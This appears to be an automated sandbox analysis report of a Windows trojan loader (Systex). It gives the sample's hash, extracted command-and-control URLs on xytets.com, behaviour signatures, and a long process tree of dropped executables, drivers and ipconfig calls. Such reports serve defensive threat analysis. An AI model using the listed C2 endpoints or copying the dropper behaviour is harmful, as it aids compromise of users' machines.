Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/08/2026, 09:33
General
- Target 2026-08-03_0c0b7d312e2702e9ffbb43df1b3d0398_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 376KB
- Sample260803-ljpl4stdmd
- SHA256 10e3ae93d19ea9f2e366d0ab6616afe51c3cdd3e0117526390d2c00a2ea41698
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 60 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c0b7d312e2702e9ffbb43df1b3d0398_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c0b7d312e2702e9ffbb43df1b3d0398_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\bvtolgeywqoigbyt.exeC:\Temp\bvtolgeywqoigbyt.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dywqoigbyt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\dywqoigbyt.exeC:\Temp\dywqoigbyt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dywqoigbyt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dywqoigbyt.exeC:\Temp\i_dywqoigbyt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtnlgdywq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bvtnlgdywq.exeC:\Temp\bvtnlgdywq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtnlgdywq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bvtnlgdywq.exeC:\Temp\i_bvtnlgdywq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvqnigaysq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xvqnigaysq.exeC:\Temp\xvqnigaysq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvqnigaysq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xvqnigaysq.exeC:\Temp\i_xvqnigaysq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxsqkicavs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dxsqkicavs.exeC:\Temp\dxsqkicavs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxsqkicavs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dxsqkicavs.exeC:\Temp\i_dxsqkicavs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pkhcausmke.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pkhcausmke.exeC:\Temp\pkhcausmke.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pkhcausmke.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pkhcausmke.exeC:\Temp\i_pkhcausmke.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmkecxrpjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmkecxrpjh.exeC:\Temp\rmkecxrpjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmkecxrpjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmkecxrpjh.exeC:\Temp\i_rmkecxrpjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jecwuomhez.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jecwuomhez.exeC:\Temp\jecwuomhez.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jecwuomhez.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jecwuomhez.exeC:\Temp\i_jecwuomhez.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgeztrmje.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\omgeztrmje.exeC:\Temp\omgeztrmje.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgeztrmje.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_omgeztrmje.exeC:\Temp\i_omgeztrmje.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwtolgeywq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwtolgeywq.exeC:\Temp\bwtolgeywq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwtolgeywq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwtolgeywq.exeC:\Temp\i_bwtolgeywq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigbytqljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\oigbytqljd.exeC:\Temp\oigbytqljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigbytqljd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_oigbytqljd.exeC:\Temp\i_oigbytqljd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaysqlida.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\igaysqlida.exeC:\Temp\igaysqlida.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaysqlida.exe ups_ins3⤵
-
C:\Temp\i_igaysqlida.exeC:\Temp\i_igaysqlida.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ysqkiavsnl.exe ups_run3⤵
-
C:\Temp\ysqkiavsnl.exeC:\Temp\ysqkiavsnl.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ysqkiavsnl.exe ups_ins3⤵
-
C:\Temp\i_ysqkiavsnl.exeC:\Temp\i_ysqkiavsnl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkfdxvpnhf.exe ups_run3⤵
-
C:\Temp\nkfdxvpnhf.exeC:\Temp\nkfdxvpnhf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkfdxvpnhf.exe ups_ins3⤵
-
C:\Temp\i_nkfdxvpnhf.exeC:\Temp\i_nkfdxvpnhf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cxrpkhczus.exe ups_run3⤵
-
C:\Temp\cxrpkhczus.exeC:\Temp\cxrpkhczus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cxrpkhczus.exe ups_ins3⤵
-
C:\Temp\i_cxrpkhczus.exeC:\Temp\i_cxrpkhczus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run3⤵
-
C:\Temp\causmkecxu.exeC:\Temp\causmkecxu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins3⤵
-
C:\Temp\i_causmkecxu.exeC:\Temp\i_causmkecxu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpjhbztrmj.exe ups_run3⤵
-
C:\Temp\rpjhbztrmj.exeC:\Temp\rpjhbztrmj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpjhbztrmj.exe ups_ins3⤵
-
C:\Temp\i_rpjhbztrmj.exeC:\Temp\i_rpjhbztrmj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\geywrljdbw.exe ups_run3⤵
-
C:\Temp\geywrljdbw.exeC:\Temp\geywrljdbw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_geywrljdbw.exe ups_ins3⤵
-
C:\Temp\i_geywrljdbw.exeC:\Temp\i_geywrljdbw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbvtnlgdy.exe ups_run3⤵
-
C:\Temp\jdbvtnlgdy.exeC:\Temp\jdbvtnlgdy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbvtnlgdy.exe ups_ins3⤵
-
C:\Temp\i_jdbvtnlgdy.exeC:\Temp\i_jdbvtnlgdy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvqoigavtn.exe ups_run3⤵
-
C:\Temp\bvqoigavtn.exeC:\Temp\bvqoigavtn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvqoigavtn.exe ups_ins3⤵
-
C:\Temp\i_bvqoigavtn.exeC:\Temp\i_bvqoigavtn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4660 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\bvtolgeywqoigbyt.sysC:\Temp\bvtolgeywqoigbyt.sys1⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoi.sysC:\Temp\tolgeywqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\igaysqlidb.sysC:\Temp\igaysqlidb.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicavsnlfd.sysC:\Temp\kicavsnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\ausnkfcxvp.sysC:\Temp\ausnkfcxvp.sys1⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpkhca.sysC:\Temp\hfzxrpkhca.sys1⤵
- Executes dropped EXE
-
C:\Temp\upmhfzxrpj.sysC:\Temp\upmhfzxrpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\ztrmjebwuo.sysC:\Temp\ztrmjebwuo.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgeywrojgb.sysC:\Temp\mgeywrojgb.sys1⤵
- Executes dropped EXE
-
C:\Temp\dywqoigbyt.sysC:\Temp\dywqoigbyt.sys1⤵
- Executes dropped EXE
-
C:\Temp\tnlfdyvqoi.sysC:\Temp\tnlfdyvqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\faysqkicav.sysC:\Temp\faysqkicav.sys1⤵
-
C:\Temp\xsqkicavsn.sysC:\Temp\xsqkicavsn.sys1⤵
-
C:\Temp\sqkicausnk.sysC:\Temp\sqkicausnk.sys1⤵
-
C:\Temp\jhczusmkec.sysC:\Temp\jhczusmkec.sys1⤵
-
C:\Temp\cwuomhezxr.sysC:\Temp\cwuomhezxr.sys1⤵
-
C:\Temp\rljdbwtomg.sysC:\Temp\rljdbwtomg.sys1⤵
-
C:\Temp\mgeywqojgb.sysC:\Temp\mgeywqojgb.sys1⤵
-
C:\Temp\qlidbvtnlg.sysC:\Temp\qlidbvtnlg.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
ausnkfcxvp.sys
bvtnlgdywq.exe
bvtolgeywqoigbyt.exe
bvtolgeywqoigbyt.sys
dxsqkicavs.exe
dywqoigbyt.exe
hfzxrpkhca.sys
i_bvtnlgdywq.exe
i_dxsqkicavs.exe
i_dywqoigbyt.exe
i_jecwuomhez.exe
i_pkhcausmke.exe
i_rmkecxrpjh.exe
i_xvqnigaysq.exe
igaysqlidb.sys
jecwuomhez.exe
kicavsnlfd.sys
omgeztrmje.exe
pkhcausmke.exe
rmkecxrpjh.exe
tolgeywqoi.sys
upmhfzxrpj.sys
xvqnigaysq.exe
ztrmjebwuo.sys
search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
suggestions[1].en-US
Kno1786.tmp
memory/1176-189-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1532-185-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1604-79-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1632-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2356-173-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2472-129-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2476-67-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3192-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3384-165-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3452-149-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3452-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3568-169-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3800-197-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3960-177-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3976-160-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4256-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4680-141-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4784-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4816-181-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4960-193-0x0000000000010000-0x00000000000AB000-memory.dmp